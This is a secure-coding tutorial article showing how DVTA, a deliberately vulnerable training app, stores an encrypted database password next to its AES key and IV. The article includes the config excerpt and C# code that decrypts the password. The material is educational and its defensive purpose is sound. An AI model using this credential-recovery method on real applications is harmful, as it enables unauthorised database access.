Secure coding

How to exploit Cryptography errors in applications

Srinivas
January 5, 2021 by
Srinivas

In the previous articles of this series on Cryptography errors, we discussed how Cryptography is used in applications and how the use of Cryptography can go wrong in applications. In this article, we will put some of the previously discussed examples into practice by discussing a practical example of how attackers can take advantage of insecure use of cryptography in applications in order to exploit applications. 

The target application

We will use the popular Damn Vulnerable Thick Client Application(DVTA) to demonstrate a Cryptography related vulnerability. DVTA is a Vulnerable Thick Client Application developed in C# .NET to demonstrate vulnerabilities in thick client applications that are developed using 2-tier architecture. The project can be found at the following link: https://github.com/srini0x00/dvta

Many legacy applications in enterprise environments use 2-tier architecture, where the client application directly connects to the database. When applications directly connect to the database without an intermediary server such as an app server, it is possible that the database credentials are stored in the client application somewhere. Even otherwise, the application needs to retrieve the credentials from some location, to be able to connect to the database. When the connection is made, the credentials will be available in memory, which can be dumped using Administrative privileges on the local machine.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

The Cryptography error in DVTA

Coming to the topic of weak Cryptography usage in DVTA, the database credentials are stored within the client application in a config file. Storing credentials in a config file is a common problem in applications. DVTA stores encrypted credentials in the application’s config file instead of storing them in clear text. Following is an excerpt from the config file of DVTA application.

  <appSettings>

    <add key="DBSERVER" value="192.168.56.110\SQLEXPRESS" />

    <add key="DBNAME" value="DVTA" />

    <add key="DBUSERNAME" value="sa" />

    <add key="DBPASSWORD" value="CTsvjZ0jQghXYWbSRcPxpQ==" />

    <add key="AESKEY" value="J8gLXc454o5tW2HEF7HahcXPufj9v8k8" />

    <add key="IV" value="fq20T0gMnXa6g0l4" />

    <add key="ClientSettingsProvider.ServiceUri" value="" />

  </appSettings>

 

Even though the database credentials are encrypted, as we can notice in the preceding excerpt, the encryption key is saved alongside the encrypted text. These types of errors are commonly seen and they are insecure. In the next section of this article, we will discuss how this can be exploited to obtain the clear text password.

Exploitation

The first step in exploiting this type of vulnerability is to understand how to decrypt the encrypted text using the key and IV available. One way is to write our own decryptor, which is prone to errors. Another way is to understand the decryption logic used by the application and use the same logic to write our decryptor.

In a real world scenario, the decryption logic most likely needs to be obtained from the compiled binary using reverse engineering. The target application in our case is developed using .NET and thus we can use any .NET decompiler to obtain the source code. DotPeek and DnSpy are few examples of such decompilers.

If the application’s source code is available, we can get the logic from the code itself.  Since DVTA is an open source application, the application’s decryption logic is available at: https://github.com/srini0x00/dvta/blob/master/DBAccess/DBAccess.cs

Following is the code used to decrypt the encrypted password.

public String decryptPassword()

{

String dbpassword = System.Configuration.ConfigurationManager.AppSettings["DBPASSWORD"].ToString();

String key = System.Configuration.ConfigurationManager.AppSettings["AESKEY"].ToString();

String IV = 

System.Configuration.ConfigurationManager.AppSettings["IV"].ToString();

byte[] encryptedBytes = Convert.FromBase64String(dbpassword);

AesCryptoServiceProvider aes = new AesCryptoServiceProvider();

aes.BlockSize = 128;

aes.KeySize = 256;

aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);

aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);

aes.Padding = PaddingMode.PKCS7;

aes.Mode = CipherMode.CBC;

ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);

byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

decryptedDBPassword = 

System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);

// checking if password is successfully decrypted

Console.WriteLine(decryptedDBPassword);

return decryptedDBPassword;

}

 

Using the logic obtained, we can write our own decrypter and pass the encrypted text, key and IV as input. We can then run the decrypter to get the decrypted database password, which looks as shown in the following figure.

Following is the full decrypter code, which can be run in Visual Studio.

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

using System.Windows.Forms;

using System.Security.Cryptography;

namespace aesdecrypt

{

public partial class aesdecrypt : Form

{

public aesdecrypt()

{

InitializeComponent();

}

private void decrypt(object sender, EventArgs e)

{

String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;

String IV = “fq20T0gMnXa6g0l4”;

String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;

byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);

AesCryptoServiceProvider aes = new AesCryptoServiceProvider();

aes.BlockSize = 128;

aes.KeySize = 256;

aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);

aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);

aes.Padding = PaddingMode.PKCS7;

aes.Mode = CipherMode.CBC;

ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);

byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);

String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);

Console.WriteLine(“n”);

Console.WriteLine(“##########Decrypting Database password##########n”);

Console.WriteLine(“Decrypted Database password:” + decryptedString+”n”);

Console.WriteLine(“##########Done##########n”);

}

}

 

Once after obtaining the clear text database credentials, an attacker will be able to connect to the database directly and he/she will have full control on the database the application is communicating with.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

Conclusion

It is apparent that software applications are susceptible to vulnerabilities when Cryptography is used incorrectly. It is important to audit the application as well as the source code to ensure that these flaws are identified and addressed. Developer education also plays a crucial role in avoiding these flaws. In the next few articles, we will discuss a case study of cryptography errors followed by some of the security best practices that can be followed to avoid such issues.

 

Sources

  1. https://www.crypteron.com/blog/the-real-problem-with-encryption/
  2. https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html
  3. /topic/damn-vulnerable-thick-client-app-part-5/
Srinivas
Srinivas

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com